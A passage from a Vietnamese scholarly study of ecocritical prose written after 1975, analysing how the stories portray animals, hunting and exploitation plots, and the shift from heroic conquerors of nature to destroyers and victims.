với con người, chúng chẳng những có sinh mệnh, mà còn có cả tình cảm nữa”1
.
Chính nhà văn đã đề xuất một cách tiếp cận khác về kiểu loại nhân vật này.
Nguyễn Minh Châu khẳng định “Với những mẩu chuyện loài vật cỏn con vui vui
này, một đôi lần suýt nữa tôi đã làm một công việc sai lầm là đem viết thành sách
Kim Đồng cho trẻ em đọc” (Một lần đối chứng – Nguyễn Minh Châu). Ông đã từ
chối cách viết về loài vật như kiểu truyện đồng thoại với một cốt truyện về tình yêu
và luân lí. Ma Văn Kháng cũng cho rằng: “Con vật không vô tình đâu”; “Vật nuôi và
người bao giờ cũng có mối quan hệ qua lại” (Chó Bi, đời lưu lạc – Ma Văn Kháng).
Các tác giả muốn nhìn đời sống qua con mắt chính loài vật, như bản chất tự nhiên,
hoang dã của nó, bên ngoài mọi tình cảm cao thượng, trong sáng của con người;
ngoài cả những { định áp chế của con người.
Ở truyện đồng thoại, loài vật chủ yếu là kiểu nhân vật loại hình, mỗi con vật
thể hiện một tính cách sẵn có mà con người phú cho nó: con cáo tinh ranh, con bò
ngu ngốc, con công kiêu ngạo, con rùa chậm chạp… Còn trong văn học có ý thức
sinh thái, nhân vật loài vật được miêu tả như tính cách vốn có của nó. Mỗi loài vật
được khắc họa bằng những chi tiết rất riêng biệt, có đặc điểm nhận diện đặc trưng
như những cá tính thật sự chứ không phải bởi một đặc tính phổ quát nào đó. Con
bìm bịp (Biển người mênh mông – Nguyễn Ngọc Tư) có tiếng nói “Giọng nó ấm lắm,
tiếng kêu phát ra từ tấm lòng”, Vịt Cộc (Cái nhìn khắc khoải – Nguyễn Ngọc Tư)
đanh đá, hay gây chuyện. Con chó Bi (Chó Bi, đời lưu lạc – Ma Văn Kháng) ngay từ

1
“Văn học phải làm cho con người tin nhau hơn” (Đối thoại đầu năm giữa Oe Kenzaboko với Mạc Ngôn), Báo Văn
nghệ, Số 12 (23/03/2002), tr 9.
54
đầu đã thể hiện một tính cách ngoan cường, dũng cảm và trung thành, có một cảm
quan đặc biệt trong việc nhận diện người tốt kẻ xấu… Con khỉ cái (Muối của rừng –
Nguyễn Huy Thiệp) thông minh, nhanh nhẹn, kiên trì…
Loài vật có trí khôn, sự thông thái và hiểu biết. Ông Diểu (Muối của rừng,
Nguyễn Huy Thiệp) nhận xét loài khỉ “Loài thú này khôn tựa như người, khi kiếm ăn
bao giờ cũng có canh gác (…) con canh gác rất thính. Không thấy nó thì đừng hòng
cuộc săn thắng lợi, đừng có hòng bắn được con át chủ bài”. Mại (Chuyến đi săn
cuối cùng – Sương Nguyệt Minh) cũng bị một con khỉ mốc đánh lạc hướng để đàn
của nó trốn thoát. Anh đuổi theo con khỉ nhưng cứ bị nó lừa, giả bị trúng đạn, khi
anh đến gần nó lại vụt tót lên cành cây cao “Con khỉ đã thành tinh của rừng xanh
thật rồi, nó nhanh nhẹn, tàng hình như ma”. Anh phát hiện khỉ không chỉ biết bẻ
bắp ăn mà còn biết cách mang về bằng cách thức thông minh: “Nó biết lấy dây
rừng buộc vòng quanh bụng và đi bẻ ngô non dắt vào”. Con khỉ con (Lão Sìn và con
khỉ, Đào Hiếu) là loài vật thông minh “Khỉ con dễ sai như đứa trẻ ngoan: Kiếm củi
thổi lửa, dọn thức ăn, nhảy nhót như đang sống với bầy đàn. Thỉnh thoảng nó còn
gãi lưng cho lão”. Khi bị bắt, khỉ con nghĩ kế, lão chủ nhà hàng bế ra nó giả vờ im
rồi tấn công bất ngờ để trốn thoát: “Thời cơ đúng lúc, chỉ trong tích tắc, khỉ con
cong người “tè” vào mặt, vào mắt lão Voòng, rồi nhảy bổ vào mặt đại gia”. Trí
thông minh mang bản năng giống loài giúp chó Bi (Chó Bi, đời lưu lạc – Ma Văn
Kháng) có thể phân biệt kẻ tốt người xấu một cách rạch ròi. Nó quấn quýt với
những người có học vấn, có nhân cách cao và chan chứa tình thương với nó như
bà giáo Trang, cậu Toản, ông Thuần, người phóng viên báo Lao động… và tỏ ra cực
kì nhạy cảm và quyết tâm truy kích đến cùng cái Ác mỗi khi có cơ hội với những
người như ông Mệnh, Viển cụt, Xuân Chương, bà Lan…
Loài vật có tình cảm rất sâu nặng. Tình mẫu tử của khỉ mẹ cứu đứa con khi
bị thương khiến chúng ta cảm động: “Trên cành cây cao không lá, mẹ con đang
ngồi phơi nắng. Nó rúc vú mẹ. Một mũi tên găm “phập” sau lưng, khỉ mẹ rùng
mình loạng choạng giữ con bám chặt cành. Máu chảy nhuộm màu lông vàng tía,
nhỏ giọt xuống lá rừng tí tách. Khỉ mẹ dồn hơi sức cuối cùng tìm cho con một chỗ
nương thân, nước nhỏ theo giọt máu. Nén đau cố ôm chặt con trong lòng, tay
chuyền cành xuống thấp tìm hết gốc cây này đến gốc cây khác đặt con, hi vọng bầy
đàn tìm đến mang đi” (Lão Sìn và con khỉ, Đào Hiếu); con khỉ cái lẽo đẽo đi theo
người thợ săn (Muối của rừng, Nguyễn Huy Thiệp); khi bị chia lìa, những con khỉ
55
trên đảo bơi đi để tìm bạn tình cho đến chết; khỉ con chết, khỉ mẹ đau đớn ôm con
cho đến khi cái xác thối rữa mới chịu buông ra (Giường đôi xóm Chùa, Đoàn Lê)…
Loài vật có cảm nhận đời sống riêng theo cách của nó, có một cảm quan đặc biệt
trong cảm giác về cuộc sống và con người. Bi có khả năng đặc biệt của loài, sự thính
nhạy trong giác quan: “Bi nhận ra tôi có lẽ từ khoảng cách vài chục mét… Nó có cái mũi
tinh tế vào loại siêu cấp. Thành ra chưa trông thấy nó, tôi đã nghe thấy nó mừng rối rít
rồi. Tới khi tôi rẽ vào cổng, nhìn thấy cái mõm ngắn của nó thò ra ở khe cửa, chưa kịp
gọi, nó đã chồm lên phía trong cửa gỗ, cào càn cạt và cất tiếng toang toang: Đi đâu mà
lâu thế, nhanh lên, anh” (Chó Bi, đời lưu lạc, Ma Văn Kháng). Sự thính nhạy đó đã giúp
Bi phát hiện ra ba của Toản ngay khi ông mới ra tù và đi theo ông trong suốt những
tháng ngày lưu lạc sau đó (khứu giác của Bi ngửi thấy mùi của ông còn vương lại trên
khăn áo, thư từ). Bi có một khả năng ghi nhớ tuyệt vời, lúc trên chiếc tàu thủy, giữa
những nhốn nháo của đủ loại mùi, Bi vẫn nhận ra kẻ thù. Trong truyện ngắn Núi lở
(Nguyễn Ngọc Tư), con nhồng với tiếng kêu thảng thốt đầy dự cảm về một tai họa mà
sau này trở thành một nỗi kinh hoàng: núi lở và đó cũng như một dự báo đầy đau xót
về sự xói mòn của nhân cách, của tình cảm con người.
Động vật cũng có cảm thụ mĩ cảm riêng, biết lắng nghe tâm hồn con người
và đánh thức phần tâm linh sâu thẳm của con người. Trên hành trình ra chợ Giát,
con bò khoang của lão Khúng đã đánh thức trong kí ức nhòe nhòa những vất vả,
mệt nhọc, đau đớn, tủi cực nhưng cũng tràn đầy yêu thương mãnh liệt của lão
(Phiên chợ Giát, Nguyễn Minh Châu). Trong cánh đồng mênh mông bất tận, khi
Điền đã bỏ đi, chỉ duy nhất con vịt mù lắng nghe được tiếng trái tim của Nương
“Nó chớ ai, giọng có khác, nhưng rõ ràng là tiếng trái tim nó. Quen lắm. Chập chờn,
thút thít, đòng đưa như sắp rụng…” (Cánh đồng bất tận, Nguyễn Ngọc Tư) đến nỗi
khi lũ vịt của gia đình Nương bị thiêu hủy, Nương cảm thấy thật mất mát như mất
đi một người thân vậy: “Tôi tiếc thôi là tiếc sinh linh nhỏ bé đã thấu được tim
mình”. Ở đây, chúng ta bắt gặp triết lí sinh thái của Nguyễn Ngọc Tư trong cái nhìn
bình đẳng với tạo vật: động vật cũng có cảm thụ mĩ cảm của nó. Con bìm bịp (Biển
người mênh mông, Nguyễn Ngọc Tư) cũng cô đơn và nghĩa tình như ông Sáu vậy.
Dọc quãng đường đi tìm người vợ, con vật đã gắn bó với ông, người bạn duy nhất
chia sẻ nỗi muộn phiền. Thậm chí, cái nỗi niềm sâu kín nhớ con sông quê nhà của
ông lão cũng được con vật thấu hiểu: “Những lúc nào qua thấy nhớ sông nó đều
kêu như vậy”. Con bìm bịp nhớ sông “Có đêm con bìm bịp kêu suốt, những tiếng
bìm bịp, ngắn ngủn, buồn thiu thỉu, ông bảo với Phi, nó nhớ sông đó”. Loài vật
56
cũng biết nhớ quê hương, nhớ cái không gian đã sinh ra và lớn lên. Hai lần ông Sáu
cho bìm bịp thì cả hai lần nó đều bộc lộ một tình cảm gắn bó thật tha thiết; lần đầu
thì “cả tuần không kêu tiếng nào, thấy qua lại thăm, nó nhìn đứt ruột lắm”; lần thứ
hai, trước khi mải miết với hành trình của mình ông Sáu thương Phi, để con vật lại
cho anh có người bạn, có người để quan tâm, yêu thương nhưng khi ông đi, con
bìm bịp “không ăn, cả đêm kêu thê thiết, những tiếng bìm bịp nhỏ xuống xóm rạch
dừa từng giọt như giọt máu”.
Trong các kiểu truyện viết về thiên nhiên sau năm 1975, các tác giả thường xây
dựng song song hình tượng con người – tự nhiên: lão Khúng – con bò Khoang (Phiên
chợ Giát, Nguyễn Minh Châu), con mèo – nhà văn (Một lần đối chứng, Nguyễn Minh
Châu), gia đình Toản – con chó Bi (Chó Bi, đời lưu lạc, Ma Văn Kháng) ông Diểu – gia
đình con khỉ (Muối của rừng, Nguyễn Huy Thiệp), ông Sáu – con bìm bịp (Biển người
mênh mông, Nguyễn Ngọc Tư), ông lão – con vịt Cộc (Cái nhìn khắc khoải, Nguyễn Ngọc
Tư), Ân – Sông Di (Sông, Nguyễn Ngọc Tư), Bác Thông – cây xanh (Sống mãi với cây
xanh, Nguyễn Minh Châu)… Xây dựng song song hình tượng thực thể tự nhiên và con
người là một motif quen thuộc trong văn học thế giới: lão Tanabai và con ngựa (Vĩnh
biệt Gunxarư, Aitmatov), Giôn Thóctơn và con chó Bấc (Tiếng gọi nơi hoang dã, Jack
London ), người trên thảo nguyên và sói thảo nguyên (Tôtem sói, Khương Nhung)…
Những hành trình cô độc của một con người cô đơn với con vật yêu thương của mình là
motif quen thuộc trong văn học, bởi vì, trong những khoảnh khắc đặc biệt, sự nhạy cảm
bản năng của loài vật đã biết lắng nghe và đánh thức phần tâm linh sâu thẳm của con
người. Vĩnh biệt Gunxarư của Aitmatov là một hành trình nhuốm đầy màu sắc huyền
thoại của một người già nua trên chiếc xe ngựa già nua, khơi dậy trong ký ức đã tàn lụi
bóng dáng của những ngày xưa cũ kì diệu, mãnh liệt. Phiên chợ Giát (Nguyễn Minh
Châu) là dòng nội tâm miên man của lão Khúng chập chờn đan xen hai chiều quá khứ,
hiện tại lồng cài trên hành trình dắt con bò Khoang ra chợ Giát. Con bò Khoang đã gợi
dậy một thế giới hoang vu, âm u, mờ mịt của cuộc đời trong muôn vàn đối lập tương
tranh giữa vất vả, cực nhọc, nhiều mất mát nhưng cũng đầy yêu thương, gắn bó, xen
lẫn giữa tối tăm, mịt mùng và ánh sáng của lão Khúng. Do đó, sự xây dựng song song hai
hình tượng thể hiện dụng ý nghệ thuật của tác giả về cái nhìn bình đẳng với tạo vật,
thể hiện một tư duy đối thoại.
Điểm nhìn này thể hiện một cách cảm nhận thế giới mang tính cách tân, con
người từ bỏ cái nhìn kiêu ngạo “kiểu mẫu của muôn loài” để có một cái nhìn bình
đẳng với tạo vật, coi vạn vật là một sinh thể độc lập. Cách viết này đã tìm trở về với
57
trái đất hồn nhiên, tìm về tư tưởng “vạn vật hữu linh” nguyên thủy, là quay lại thái
độ bình đẳng với tạo vật mà người hiện đại đánh mất. Thực ra, từ xưa loài vật vẫn
được coi là có linh hồn, có tiếng nói riêng, có cách cảm về đời sống riêng: “Mọi đối
tượng trong tự nhiên đều có đủ hình thần, muôn vật đều có sinh mệnh”1
. Các nhà
mĩ học đều thừa nhận cái đẹp phát xuất từ tự nhiên. Các điệu múa của bầy công,
tiếng hót gọi bạn tình của chim chóc, màu sắc, hình dáng của hoa lá, cỏ cây, loài
vật… đều được tạo theo nguyên tắc của cái đẹp. Kiên thấy cái đẹp của tự nhiên
vượt hẳn cái đẹp của con người “sít múa bằng cánh, đôi cánh rập rờn vẫy đạp
mềm mại khéo léo còn bằng mười các cô văn công. Một khi đã trông thấy đàn sít
xoè cánh múa lượn thì phải hiểu văn công nhà ta chưa biết múa, đấy là họ đang
ưỡn, đang ngoáy, đang nẩy mông, đánh vú, đang làm những động tác vừa gây cấn
vừa thô lậu trước mắt chúng ta. Cũng như họ đã hát vậy, nói có chú, mỗi bận tôi
được vinh dự ngồi nghe các đồng chí ấy hát tôi lại chợt nghĩ đến đàn sít mào đỏ
quê mình, giọng của chúng mới thanh tao làm sao, trong khi ấy giọng người thì thế
đấy, nghe cứ như sắp định hành hình ai không bằng” (Chuyến đi cuối năm, Đỗ
Chu). Chúng ta bắt gặp triết lí sinh thái trong cái nhìn bình đẳng với tự nhiên, chỉ ra
cho chúng ta thấy, rằng chúng ta không công bằng với tạo vật. Triết lí này phản
biện lại với nhiều lí thuyết mĩ học cho rằng vẻ đẹp của loài vật (con công múa, chim
hót gọi bạn tình, tình mẫu tử của loài vật…) là mang tính bản năng nên thấp hơn
cái đẹp có ý thức của con người. Theo lí thuyết phê bình sinh thái, trong tự nhiên
không có gì là xấu, đẹp xấu là do con người áp đặt. Các nhân vật của tiểu thuyết
Sông (Nguyễn Ngọc Tư) như Ân, Xu, Bối đều hiểu được giá trị của tự nhiên. Ân có
một bộ sưu tập những cây cỏ độc. Xu tìm đến các vẻ đẹp bị bỏ rơi – mải mê chụp
ảnh loài hoa dại với mong muốn “Tụi này có tham vọng làm sao đại gia phải treo
tấm ảnh cỏ cứt heo ở phòng khách”, khi thực hiện đơn đặt hàng một bộ lịch cũng
hơi lạ: Hoa dại. Bối có một niềm đam mê cuồng si với các bức ảnh giông tố “Mùa
này lang thang sẽ săn được nhiều giông gió… Bối sắm sửa mọi thứ để phục vụ cho
mỗi việc bắt lấy khoảnh khắc một tia sét lóe lên, một bầu trời đen tối đầy thịnh nộ,
một cơn lốc xoáy… Ảnh nền máy tính là một cánh đồng nghẹt thở dưới một đụn
mây đầy nộ khí, và hai cái cây cổ thụ nằm ở góc ảnh trông như đang lẩy bẩy run”,
thậm chí khoái cảm với sự vần vũ của trời “- Tin tôi đi, không có đứa con gái nào

1
Lưu Cương Kí , Phạm Minh Hoa (2002), Chu Dịch và mĩ học, NXB Văn hóa thông tin, Hà Nội, tr 13.
58
mang đến cái lạc thú khi tôi chụp được ảnh tia sét như rễ cây khổng lồ phóng
xuống cao ốc Thiên Đường. Cúc cu tôi phun ra ướt luôn vạt áo”. Niềm say mê với
các thân phận tự nhiên nhỏ bé ấy có lẽ hàm ý về một triết lí sinh thái: trong tự
nhiên không có sự phân cách của đẹp – xấu, có ích – không có ích, cao – thấp… tự
nhiên tồn tại như sự đa dạng muôn màu của nó ngoài tất cả định kiến của con
người “Bức ảnh của Bối nổi tiếng vì tia sét lộng lẫy ấy đã làm cháy trụi hai chị lao
công đang lấy đồ phơi trên tầng thượng. Cậu xem ảnh, nghĩ mãi không hiểu tại sao
hai mạng người kia không làm tia sét xấu đi. Nó vẫn lộng lẫy, ma mị. Mình không
thể ghét nó”. Quan tâm đến những vẻ đẹp của tự nhiên (bị con người thù ghét),
điều ấy nhấn mạnh quan niệm của mĩ học sinh thái (eco-aesthetic) cái đẹp của tự
nhiên không phụ thuộc vào lợi ích, định kiến của con người.
Điểm nhìn của phê bình sinh thái chuyển từ “con người làm trung tâm” sang
“trái đất là trung tâm”. Tuy nhiên, đó không phải là thái độ hạ thấp con người mà
đề xuất tư tưởng con người hài hòa với tự nhiên. Phê bình sinh thái yêu cầu tôn
trọng bất cứ sinh mệnh nào (từ con người đến động vật thực vật… ), coi tất cả sinh
vật đều có giá trị của riêng mình. Như vậy, nhiệm vụ trọng tâm của phê bình sinh
thái là qua văn học để thể hiện thái độ của mình về văn hóa ứng xử của con người
đối với tự nhiên. Các nhà sinh thái đi tìm câu trả lời và giải pháp về mặt tư tưởng:
văn hóa xã hội quyết định thái độ, hành vi của con người đối với tự nhiên, thay đổi
cách nhìn về tự nhiên sẽ tạo cơ sở cho sự thay đổi trong ứng xử với tự nhiên.
3.2 Thay đổi motif cốt truyện
Khi quan niệm về tự nhiên thay đổi, cấu trúc cốt truyện về mối quan hệ giữa
con người và tự nhiên cũng thay đổi. Trong văn học giai đoạn 1945 – 1975 mối quan
hệ giữa con người và tự nhiên chủ yếu thể hiện ở motif cốt truyện về sự chinh phục tự
nhiên (kiểu như Người lái đò sông Đà, Nguyễn Tuân; Đoàn thuyền đánh cá, Huy
Cận…). Trong văn học sau 1975, motif cốt truyện đó bị phá vỡ thay vào đó là nhiều
motif cốt truyện khác: cốt truyện khai thác, cốt truyện đi săn, cốt truyện thuần hóa,
cốt truyện tự nhiên trả thù, cốt truyện về sự cỗi cằn, cốt truyện về sự mất trú ẩn…
Văn học Việt Nam giai đoạn 1945 – 1975, mối quan hệ giữa con người và tự
nhiên về cơ bản là cốt truyện chinh phục, khai thác tự nhiên để phục vụ cho mục
đích xây dựng xã hội. Sau 1975, nhìn lại cốt truyện khai thác, các tác giả đã nhận ra
ở đó sự tàn sát đối với tự nhiên. Từ cốt truyện ấy, môi trường hiện ra với tất cả sự
tàn phá, thiên nhiên trở nên cỗi cằn, biến dạng. Vào bãi vàng, đi vào rừng không
59
còn là để chinh phục mà để vơ vét tàn sát. Hai tập Bãi vàng đá qu{ trầm hương; Đồ
tể của Nguyễn Trí; Trăm năm còn lại của Trần Duy Phiên; Đá đỏ của Vũ Thi… thể
hiện nếm trải của con người trước những hủy hoại đối với tự nhiên. Các tác phẩm
đã khắc phục tư tưởng “rừng vàng biển bạc” tồn tại một cách thâm căn cố đế để
rồi chúng ta mặc sức khai phá tự nhiên mà không có những biện pháp phát triển
bền vững. Ứng xử ngỗ ngược của của con người với bà mẹ Trái đất đã gây ra nhiều
tai họa. Con người đang phải trả giá rất đắt cho việc chúng ta trở nên tự phụ đến
mức quên cả cảm thông với thiên nhiên “Khi túi tham con người bị cao xanh xé
đáy, nó lọt thỏm vào hư vô nhẹ thoảng như mây trôi nước chảy” (Chuyện cũ từ
rừng, Nguyễn Trí).
Hầu hết, trong các cốt truyện đi săn trong văn học sau năm 1975, các tác giả
đều tập trung khắc họa cảnh những loài vật đang sống yên tâm, vui vầy thì gặp tai
họa do người thợ săn gây ra: gia đình khỉ đang vui chơi chuyền cành (Muối của
rừng, Nguyễn Huy Thiệp), con khỉ mẹ đang phơi nắng bắt chấy cho con (Lão Sìn và
con khỉ, Đào Hiếu), đàn chim sẻ đang mổ những hạt thóc của bà cụ Cần nhân hậu
(Bà cụ Cần và đàn chim sẻ, Ma Văn Kháng)… thì tai vạ chợt đến. Tình cảnh này
cũng đã được mô tả trong bài hát Người thợ săn và đàn chim nhỏ (Anh Bằng):
“Chim yên tâm sống yên bình/ Yêu thương nhau trên đầu cành/ Đạn vụt bay đến
nhanh/ Chim chết chim lìa cành” với một nỗi ưu tư, sầu muộn. Do vậy, đi săn
không còn là niềm vui chinh phục mà nặng trĩu âu lo về nhân tính “Ông vừa làm
điều ác” (Muối của rừng, Nguyễn Huy Thiệp). Nếu như, trong văn học trước đó,
motif cốt truyện đi săn thường thiên về cảm hứng ca ngợi sức mạnh con người
chiến thắng thiên nhiên hoang dã, dữ dằn (Bắt sấu rừng U Minh hạ, Con heo khịt,
Sơn Nam; bắt cá sấu, bắt rắn trong Đất rừng phương Nam, Đoàn Giỏi…) thì văn học
sau 1975 tô nhấn về cảm giác khi con người tàn sát tự nhiên con người sẽ mất hết
tất cả: Ông Diểu đi săn nhưng cuối cùng súng mất, ông tha bổng con khỉ, áo quần
và thức ăn để lại bị tổ mối đùn hết, ông trần truồng trở về nhà (Muối của rừng,
Nguyễn Huy Thiệp); đoàn người đi săn voi, đạn lạc khiến một người chết, con voi
đầu đàn bị thương được những con voi đực hợp sức đưa vào rừng sâu (Mưa đỉnh
núi xa, Hoa Ngõ Hạnh); hai anh em rủ nhau đi săn, đêm tối, ngỡ tiếng chân nai Dần
bắn nhầm anh Sinh (Nghiệp rừng, Triệu Hoàng Giang)… Motif truyện đi săn sau
1975 toát lên ý niệm, nếu như anh chống lại tự nhiên sinh thành ra anh thì cuối
cùng sẽ trở nên trắng tay.
60
Trong văn học, có một số biểu tượng mang tính mẫu gốc: rừng, sông, biển,
nước, lửa, cây… Đất đai là một mẫu gốc về sự sinh sôi, che chở, nương tựa (mẹ
đất). Trong văn học thế giới, đất gắn với sự cứu rỗi. Sita đã hai lần xin được trở về
đất mẹ, hóa thân vào luống cày, nơi mà cô đã sinh ra (Sử thi Ramayana); Cánh
đồng mẹ là biểu tượng sự bất tử vĩnh hằng đi qua mỗi kiếp phận đau thương trong
chiến tranh (Cánh đồng mẹ, C. Aitmatov). Trong văn học Việt Nam 1945 – 1975, đất
là nơi con người gắn bó, là nơi chúng ta lớn lên, là cái mà chúng ta chiến đấu vì nó
(Hòn đất – Anh Đức, Mẫn và tôi – Phan Tứ, Đất nước – Nguyễn Khoa Điềm…) thế
nhưng, sau 1975 vì nghèo đói quá, người ta vét cạn lòng sông (Sông ơi, Trần Thanh
Hà), đất đai canh tác thành tiêu chí phân ruộng trở thành thảm họa cho đời sống
(Dòng sông mía, Đào Thắng; Đội gạo lên chùa, Nguyễn Xuân Khánh…). Trong mối
quan hệ với đất đai, văn xuôi sinh thái nhận ra motif về sự cỗi cằn. Tiểu thuyết
Trăm năm còn lại được Hoàng Phủ Ngọc Tường đánh giá là “cuốn tiểu thuyết dữ
dội nhất của văn học Việt Nam dẫn dắt chúng ta vào tận bên trong chứa đầy sức
bạo liệt của Rừng”1
. Bị vàng khiến cho mờ mắt, cả gia đình trong Trăm năm còn lại
của Trần Duy Phiên như rơi vào trạng thái cuồng loạn vì vàng, không ai lên nương,
trễ nải việc đồng áng. Rẫy bị bỏ hoang, bị sâu bệnh, bị thú dữ hoành hành, nguy cơ
chết đói đến gần “Đất đồng bỏ hoang, cỏ dại lấn chiếm… Đất mỗi năm mỗi cứng…
Đầu mùa mưa, sơn dương kéo nhau vào tận rẫy, vừa ăn lá vừa phá ngọn. Đến khi
cây có củ, heo rừng tràn qua mấy eo núi phía Tây Bắc, đào bới ngốn sạch tất cả
những gì có tinh bột… Đầu mùa khô… Lửa trên núi kéo xuống theo gió, cháy rừng
lan qua rẫy… Đất chai. Người chán”. Người cha kéo tất cả vào cuộc săn vàng bất
cần sinh mạng, tội ác. Chính ông cùng với con chặt chân thầy vàng là người thợ kim
hoàn dưới xuôi vì ông sợ người thợ này sẽ mang vàng của ông bỏ trốn. Những
người con bất chấp đạo lí, quật mộ mẹ lên để kiếm vàng, đào sục hết cả cánh rừng
để tìm vàng. Cuối cùng khi tìm thấy vàng giấu dưới cối đá thì anh giết em để độc
chiếm vàng. Vì vàng, cả nhà không kịp tránh lũ, cuối cùng tất cả bị nhấn chìm
xuống dòng nước cuồn cuộn. Sông Dakbla nổi giận đã quét sạch lòng tham, tội ác
trong dòng lũ rồi trở lại thản nhiên vĩnh hằng.
Văn học Việt Nam từ thời trung đại đến nay có một motif quen thuộc: khi có
một điều bất ổn, người ta thường tìm về với nông thôn như một nơi trú ẩn, chốn
thanh bình để quên đi phiền muộn: thơ điền viên của các nhà Nho ở ẩn; thơ lãng

1Hoàng Phủ Ngọc Tường (1996), Tựa Trăm năm còn lại, NXB Trẻ, Tp HồChí Minh, tr 5.
61
mạn quay lưng với đô thị, khuynh hướng “ngược về ngoại ô” trốn chạy nền văn
minh kĩ trị, hay thậm chí khủng hoảng hôn nhân, mệt mỏi với bon chen của đời
sống… cũng tìm về quê như tìm về điểm tựa yên ổn và thanh thản. Thế nhưng, các
sáng tác của Nguyễn Huy Thiệp, Sương Nguyệt Minh, Đặng Nhật Minh, Đoàn Lê,
Hồ Thị Ngọc Hoài… đưa đến một thức nhận về việc chúng ta đã mất nơi trú ẩn.
Nông thôn không còn là chốn ẩn dật thanh bình nữa mà vĩnh viễn mất đi bởi sự bất
ổn, đói nghèo, thất học và bị xâm lấn bởi những ô hợp của đô thị trong quá trình
công nghiệp hóa. Như vậy, mất nông thôn đồng nghĩa với việc con người trở nên
mất quá khứ, trở thành kẻ vong thân.
3. 3 Thay đổi tính chất của nhân vật
Từ xưa đến nay, văn học mô tả mối quan hệ giữa con người và thiên nhiên
dường như chưa thoát khỏi cái bóng của Uylitxơ về người anh hùng chinh phục,
khai phá tự nhiên. Nhưng kẻ chinh phục trong văn học sinh thái trở thành kẻ tàn
sát, tội đồ đối với tự nhiên. Hình tượng nhân vật đã thay đổi từ người người
khổng lồ chinh phục tự nhiên (trong văn học trước đó) trở thành kẻ hủy diệt, là
nạn nhân, kẻ chiến bại (trong văn xuôi sinh thái). Những mưu sinh đã đẩy con
người vào rừng, chiếm đoạt không gian hoang dã, bóc lột môi trường, khai thác
nguồn lợi từ tự nhiên. “Kinh tế đang khó khăn, tất cả mọi người hầu như lao cả vào
rừng để kiếm sống. Kẻ làm nương rẫy, kẻ trở thành lâm tặc đốn trộm gỗ qu{…”
(Chuyện cũ từ rừng, Nguyễn Trí); biến tự nhiên thành chiến địa “Chao ôi, mặt đất
đã im tiếng súng. Chiến địa đầy xác người đã lùi vào dĩ vãng. Lại tiếp đến chiến địa
rừng…” (Tiếng rừng, Hiền Phương). Những tác phẩm văn xuôi sinh thái chỉ ra con
người tội đồ, những kẻ chiếm đoạt không gian hoang dã, bóc lột môi trường (tập
Bãi vàng, đá qu{, trầm hương – Nguyễn Trí, Thập giá giữa rừng sâu – Nguyễn Khắc
Phê, Mối và người – Trần Duy Phiên…)
Nhân vật không còn là người anh hùng chinh phục nữa mà trở thành nạn
nhân. Một trong những vấn đề cấp thiết mà phê bình sinh thái đặt ra là cảnh báo về
sự hủy hoại tự nhiên, sự biến đổi của môi trường sinh thái. Người nông dân hàng ngày
đối diện với bờ kênh, con rạch, mảnh ruộng, cánh đồng… nên cảm nhận về những tai
họa của tự nhiên, hậu quả của biến đổi khí hậu: đất lở, núi lở, hạn hán, lũ lụt, xâm
ngập mặn, mùa nước nổi kéo dài… thật cụ thể, chân thực. Vấn đề thời sự này đã được
nhiều tác giả như Nguyễn Minh Châu, Nguyễn Huy Thiệp, Nguyễn Quang Thiều,
Sương Nguyệt Minh, Nguyễn Ngọc Tư… đặt ra một cách bức thiết, trực diện và tha
thiết. Số phận của cá nhân sẽ bị đe dọa cả về thể chất và tinh thần khi môi trường
sống bị hủy hoại vì con người là một phần của tự nhiên, chịu ảnh hưởng từ tự nhiên,
62
từ môi trường sống xung quanh. Bức tử tự nhiên (Kẻ ám sát cánh đồng – Nguyễn
Quang Thiều, Khói trời lộng lẫy – Nguyễn Ngọc Tư, Ngày hội cuối cùng – Tạ Duy Anh…)
con người sống trong một không gian giam cầm của rừng rậm bê tông, cách bức với
tự nhiên (Khách ở quê ra – Nguyễn Minh Châu, Con trắm đen – Trần Trung Chính, Bà cụ
Cần và đàn chim sẻ – Ma Văn Kháng, Chuyến đi cuối năm – Đỗ Chu…). Khi rời xa tự
nhiên, mất tự nhiên, con người sẽ trở nên mất gốc, mất quê hương (Trở về – Đặng
Nhật Minh, Chim phóng sinh – Nguyễn Hồ, Thương nhớ đồng quê – Nguyễn Huy
Thiệp…)
Mẫu hình nhân cách của người anh hùng chinh phục tự nhiên thuộc về kẻ
chiến thắng, sức mạnh được tôn vinh là sức mạnh thể chất, lí tính, đề cao khoa
học. Do vậy bao giờ nó cũng thuộc về những hình tượng trung tâm. Đạo đức sinh
thái trong văn xuôi sau năm 1975 lại hình thành từ những thân phận bé nhỏ, bên
lề. Văn xuôi sinh thái đã tìm ra những mẫu hình nhân cách mới như bác Thông
(Sống mãi với cây xanh, Nguyễn Minh Châu), Đoan (Con chó và vụ li hôn, Dạ Ngân),
ông lão (Cái nhìn khắc khoải, Nguyễn Ngọc Tư), bác Hòa (Ngôi nhà xưa, Đặng Nhật
Minh), chị Thắm (Chảy đi sông ơi, Nguyễn Huy Thiệp), Nhâm (Thương nhớ đồng
quê, Nguyễn Huy Thiệp)… Đó là những con người biết nâng đỡ thế giới tự nhiên bị
thương tổn, đồng cảm với số phận tự nhiên bị chà đạp; biết lắng nghe những tiếng
nói lạ thường của thiên nhiên; biết sống hài hòa với thế giới xung quanh và gắn kết
với đất đai, muông thú, cỏ cây bằng một tình yêu sâu nặng.
3.4 Thay đổi giọng điệu
Phê bình sinh thái truy tìm căn nguyên lí do khiến cho trái đất lâm vào tình trạng
suy thoái hiện nay. Các nhà phê bình sinh thái cho rằng chính tư tưởng “duy nhân”
thống trị là căn nguyên của mọi thảm họa môi trường. Phê phán mặt trái của tư tưởng
“nhân loại là trung tâm” là đặc điểm trọng tâm của khuynh hướng văn học này. Văn học
từ xưa đến nay ngợi ca bao hình tượng đều là những người khẳng định vị thế bằng khát
vọng chinh phục tự nhiên. Hoặc là, khi mô tả tình yêu thiên nhiên, văn học truyền thống
vẫn coi thiên nhiên như là một khách thể để thụ hưởng mà không có một cảnh báo môi
trường nào, trong khi sự thực, sự tàn phá đối với tự nhiên, có lẽ thời nào cũng có. Karen
Thornber nói về sự mơ hồ sinh thái trong khi xem xét các văn bản văn chương Đông Á
đã chỉ ra là tình yêu thiên nhiên trong văn bản văn chương Đông Á là để che đậy một sự
thật là môi trường ở đây đã bị tàn phá nghiêm trọng1
. Cảm hứng phê phán trở thành

1
Thornber K. (2014), Những tương lai của phê bình sinh thái và văn học (Hải Ngọc dịch),
http://hieutn1979.wordpress.com
63
cảm hứng chủ đạo của thời đại khủng hoảng môi trường.
Trong các tác phẩm truyền thống, viết về tự nhiên chủ yếu là giọng trữ tình
(ca ngợi vẻ đẹp của cây cỏ) của văn học điền viên, mục đồng, lãng mạn… Tất nhiên,
